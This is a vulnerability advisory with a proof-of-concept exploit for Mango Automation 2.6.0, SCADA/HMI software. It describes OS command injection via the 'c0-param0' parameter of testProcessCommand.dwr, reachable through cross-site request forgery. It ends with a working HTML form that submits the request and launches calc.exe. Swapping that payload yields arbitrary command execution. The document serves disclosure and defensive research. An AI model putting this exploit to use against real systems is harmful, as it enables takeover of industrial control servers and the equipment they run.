Mango Automation version 2.6.0 arbitrary command execution cross site request forgery exploit.
b09f9d0d9450a157ee3b553cca92aa462e2f7e2a6ee87d0b4a8ba6fbcc0e4298
Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit
Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)
Summary: Mango Automation is a flexible SCADA, HMI
And Automation software application that allows you
to view, log, graph, animate, alarm, and report on
data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.
Desc: The POST parameter 'c0-param0' in the testProcessCommand.dwr
method is not properly sanitised before being used to execute commands.
This can be exploited to inject and execute arbitrary OS commands as
well as using cross-site request forgery attacks.
Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
Jetty(9.2.2.v20140723)
Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5261
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5261.php
20.08.2015
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<html>
<body>
<form action="http://localhost:8080/dwr/call/plaincall/EventHandlersDwr.testProcessCommand.dwr" method="POST">
<input type="hidden" name="callCount" value="1" />
<input type="hidden" name="page" value="/event_handlers.shtm" />
<input type="hidden" name="httpSessionId" value="
" />
<input type="hidden" name="scriptSessionId" value="26D579040C1C11D2E21D1E5F321094E5866" />
<input type="hidden" name="c0-scriptName" value="EventHandlersDwr" />
<input type="hidden" name="c0-methodName" value="testProcessCommand" />
<input type="hidden" name="c0-id" value="0" />
<input type="hidden" name="c0-param0" value="string:C:\\windows\\system32\\calc.exe" />
<input type="hidden" name="c0-param1" value="string:15" />
<input type="hidden" name="batchId" value="24" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>